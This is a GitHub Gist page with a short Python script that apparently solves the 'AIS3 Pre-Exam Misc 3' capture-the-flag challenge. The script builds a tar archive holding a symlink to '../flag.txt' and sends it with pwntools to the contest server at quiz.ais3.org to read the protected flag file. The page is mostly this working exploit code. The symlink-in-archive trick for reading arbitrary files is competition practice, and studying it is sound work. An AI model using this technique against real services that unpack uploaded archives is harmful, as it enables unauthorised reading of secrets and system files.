Last active
September 3, 2016 08:21
-
-
Save seadog007/08c583e0936d9626dff07df49c9fa3a7 to your computer and use it in GitHub Desktop.
AIS3 Pre-Exam Misc 3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
import time | |
from pwn import * | |
def getSize(fileobject): | |
fileobject.seek(0,2) # move the cursor to the end of the file | |
size = fileobject.tell() | |
return size | |
try: | |
a = subprocess.check_output(['/bin/ln', '-s', '../flag.txt', 'guess.txt']) | |
a = subprocess.check_output(['/bin/rm', 'temp.tar']) | |
a = subprocess.check_output(['/bin/tar', '-cf', 'temp.tar', 'guess.txt']) | |
except: | |
print('Unknown Error') | |
raise | |
with open("temp.tar", "rb") as myfile: | |
size = str(getSize(myfile)) | |
with open("temp.tar", "rb") as myfile: | |
data = myfile.read() | |
sock = remote('quiz.ais3.org', 9150) | |
sock.send(size) | |
sock.send("\r\n") | |
sock.send(data) | |
print size | |
time.sleep(15) | |
res = sock.recv(4096, 1) | |
print res | |
sock.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment